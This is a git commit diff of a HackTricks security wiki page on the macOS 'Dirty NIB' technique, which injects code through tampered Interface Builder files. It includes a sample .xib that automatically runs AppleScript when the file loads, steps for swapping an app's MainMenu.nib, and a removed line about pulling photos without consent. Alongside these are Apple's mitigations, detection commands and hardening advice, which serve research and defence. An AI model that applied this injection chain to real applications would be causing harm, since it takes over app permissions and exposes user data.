Add content from: Research Update: Enhanced src/macos-hardening/macos-security...

This commit is contained in:
HackTricks News Bot 2025-08-24 08:25:02 +00:00
parent 6937d302e7
commit c49d9a5dd6

View File

@ -2,75 +2,151 @@
{{#include ../../../banners/hacktricks-training.md}}
**For further detail about the technique check the original post from:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) and the following post by [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Here is a summary:
Dirty NIB refers to abusing Interface Builder files (.xib/.nib) inside a signed macOS app bundle to execute attacker-controlled logic inside the target process, thereby inheriting its entitlements and TCC permissions. This technique was originally documented by xpn (MDSec) and later generalized and significantly expanded by Sector7, who also covered Apples mitigations in macOS 13 Ventura and macOS 14 Sonoma. For background and deep dives, see the references at the end.
### What are Nib files
> TL;DR
> • Before macOS 13 Ventura: replacing a bundles MainMenu.nib (or another nib loaded at startup) could reliably achieve process injection and often privilege escalation.
> • Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): firstlaunch deep verification, bundle protection, Launch Constraints, and the new TCC “App Management” permission largely prevent postlaunch nib tampering by unrelated apps. Attacks may still be feasible in niche cases (e.g., samedeveloper tooling modifying own apps, or terminals granted App Management/Full Disk Access by the user).
Nib (short for NeXT Interface Builder) files, part of Apple's development ecosystem, are intended for defining **UI elements** and their interactions in applications. They encompass serialized objects such as windows and buttons, and are loaded at runtime. Despite their ongoing usage, Apple now advocates for Storyboards for more comprehensive UI flow visualization.
The main Nib file is referenced in the value **`NSMainNibFile`** inside the `Info.plist` file of the application and is loaded by the function **`NSApplicationMain`** executed in the `main` function of the application.
## What are NIB/XIB files
### Dirty Nib Injection Process
Nib (short for NeXT Interface Builder) files are serialized UI object graphs used by AppKit apps. Modern Xcode stores editable XML .xib files which are compiled into .nib at build time. A typical app loads its main UI via `NSApplicationMain()` which reads the `NSMainNibFile` key from the apps Info.plist and instantiates the object graph at runtime.
#### Creating and Setting Up a NIB File
Key points that enable the attack:
- NIB loading instantiates arbitrary ObjectiveC classes without requiring them to conform to NSSecureCoding (Apples nib loader falls back to `init`/`initWithFrame:` when `initWithCoder:` is not available).
- Cocoa Bindings can be abused to call methods as nibs are instantiated, including chained calls that require no user interaction.
1. **Initial Setup**:
- Create a new NIB file using XCode.
- Add an Object to the interface, setting its class to `NSAppleScript`.
- Configure the initial `source` property via User Defined Runtime Attributes.
2. **Code Execution Gadget**:
- The setup facilitates running AppleScript on demand.
- Integrate a button to activate the `Apple Script` object, specifically triggering the `executeAndReturnError:` selector.
3. **Testing**:
- A simple Apple Script for testing purposes:
## Dirty NIB injection process (attacker view)
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
The classic preVentura flow:
1) Create a malicious .xib
- Add an `NSAppleScript` object (or other “gadget” classes such as `NSTask`).
- Add an `NSTextField` whose title contains the payload (e.g., AppleScript or command arguments).
- Add one or more `NSMenuItem` objects wired via bindings to call methods on the target object.
- Test by running in the XCode debugger and clicking the button.
2) Autotrigger without user clicks
- Use bindings to set a menu items target/selector and then invoke the private `_corePerformAction` method so the action fires automatically when the nib loads. This removes the need for a user to click a button.
#### Targeting an Application (Example: Pages)
Minimal example of an autotrigger chain inside a .xib (abridged for clarity):
```xml
<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autopress the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>
```
This achieves arbitrary AppleScript execution in the target process upon nib load. Advanced chains can:
- Instantiate arbitrary AppKit classes (e.g., `NSTask`) and call zeroargument methods like `-launch`.
- Call arbitrary selectors with object arguments via the binding trick above.
- Load AppleScriptObjC.framework to bridge into ObjectiveC and even call selected C APIs.
- On older systems that still include Python.framework, bridge into Python and then use `ctypes` to call arbitrary C functions (Sector7s research).
1. **Preparation**:
- Copy the target app (e.g., Pages) into a separate directory (e.g., `/tmp/`).
- Initiate the app to sidestep Gatekeeper issues and cache it.
2. **Overwriting NIB File**:
- Replace an existing NIB file (e.g., About Panel NIB) with the crafted DirtyNIB file.
3. **Execution**:
- Trigger the execution by interacting with the app (e.g., selecting the `About` menu item).
3) Replace the apps nib
- Copy target.app to a writable location, replace e.g., `Contents/Resources/MainMenu.nib` with the malicious nib, and run target.app. PreVentura, after a onetime Gatekeeper assessment, subsequent launches only performed shallow signature checks, so nonexecutable resources (like .nib) werent revalidated.
#### Proof of Concept: Accessing User Data
Example AppleScript payload for a visible test:
```applescript
set theDialogText to "PWND"
display dialog theDialogText
```
- Modify the AppleScript to access and extract user data, such as photos, without user consent.
### Code Sample: Malicious .xib File
## Modern macOS protections (Ventura/Monterey/Sonoma/Sequoia)
- Access and review a [**sample of a malicious .xib file**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) that demonstrates executing arbitrary code.
Apple introduced several systemic mitigations that dramatically reduce the viability of Dirty NIB in modern macOS:
- Firstlaunch deep verification and bundle protection (macOS 13 Ventura)
- On first run of any app (quarantined or not), a deep signature check covers all bundle resources. Afterwards, the bundle becomes protected: only apps from the same developer (or explicitly allowed by the app) may modify its contents. Other apps require the new TCC “App Management” permission to write into another apps bundle.
- Launch Constraints (macOS 13 Ventura)
- System/Applebundled apps cant be copied elsewhere and launched; this kills the “copy to /tmp, patch, run” approach for OS apps.
- Improvements in macOS 14 Sonoma
- Apple hardened App Management and fixed known bypasses (e.g., CVE202340450) noted by Sector7. Python.framework was removed earlier (macOS 12.3), breaking some privilegeescalation chains.
- Gatekeeper/Quarantine changes
- For a broader discussion of Gatekeeper, provenance, and assessment changes that impacted this technique, see the page referenced below.
### Other Example
> Practical implication
> • On Ventura+ you generally cannot modify a thirdparty apps .nib unless your process has App Management or is signed by the same Team ID as the target (e.g., developer tooling).
> • Granting App Management or Full Disk Access to shells/terminals effectively reopens this attack surface for anything that can execute code inside that terminals context.
In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib.
### Addressing Launch Constraints
- Launch Constraints hinder app execution from unexpected locations (e.g., `/tmp`).
- It's possible to identify apps not protected by Launch Constraints and target them for NIB file injection.
Launch Constraints block running many Apple apps from nondefault locations beginning with Ventura. If you were relying on preVentura workflows like copying an Apple app to a temp directory, modifying `MainMenu.nib`, and launching it, expect that to fail on >= 13.0.
### Additional macOS Protections
From macOS Sonoma onwards, modifications inside App bundles are restricted. However, earlier methods involved:
## Enumerating targets and nibs (useful for research / legacy systems)
1. Copying the app to a different location (e.g., `/tmp/`).
2. Renaming directories within the app bundle to bypass initial protections.
3. After running the app to register with Gatekeeper, modifying the app bundle (e.g., replacing MainMenu.nib with Dirty.nib).
4. Renaming directories back and rerunning the app to execute the injected NIB file.
- Locate apps whose UI is nibdriven:
```bash
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
```
- Find candidate nib resources inside a bundle:
```bash
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
```
- Validate code signatures deeply (will fail if you tampered with resources and didnt resign):
```bash
codesign --verify --deep --strict --verbose=4 target.app
```
**Note**: Recent macOS updates have mitigated this exploit by preventing file modifications within app bundles post Gatekeeper caching, rendering the exploit ineffective.
> Note: On modern macOS you will also be blocked by bundle protection/TCC when trying to write into another apps bundle without proper authorization.
## Detection and DFIR tips
- File integrity monitoring on bundle resources
- Watch for mtime/ctime changes to `Contents/Resources/*.nib` and other nonexecutable resources in installed apps.
- Unified logs and process behavior
- Monitor for unexpected AppleScript execution inside GUI apps and for processes loading AppleScriptObjC or Python.framework. Example:
```bash
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
```
- Proactive assessments
- Periodically run `codesign --verify --deep` across critical apps to ensure resources remain intact.
- Privilege context
- Audit who/what has TCC “App Management” or Full Disk Access (especially terminals and management agents). Removing these from generalpurpose shells prevents trivially reenabling Dirty NIBstyle tampering.
## Defensive hardening (developers and defenders)
- Prefer programmatic UI or limit whats instantiated from nibs. Avoid including powerful classes (e.g., `NSTask`) in nib graphs and avoid bindings that indirectly invoke selectors on arbitrary objects.
- Adopt the hardened runtime with Library Validation (already standard for modern apps). While this doesnt stop nib injection by itself, it blocks easy native code loading and forces attackers into scriptingonly payloads.
- Do not request or depend on broad App Management permissions in generalpurpose tools. If MDM requires App Management, segregate that context from userdriven shells.
- Regularly verify your app bundles integrity and make your update mechanisms selfheal bundle resources.
## Related reading in HackTricks
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
{{#ref}}
../macos-security-protections/macos-gatekeeper.md
{{#endref}}
## References
- xpn DirtyNIB (original writeup with Pages example): https://blog.xpnsec.com/dirtynib/
- Sector7 Bringing process injection into view(s): exploiting all macOS apps using nib files (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
{{#include ../../../banners/hacktricks-training.md}}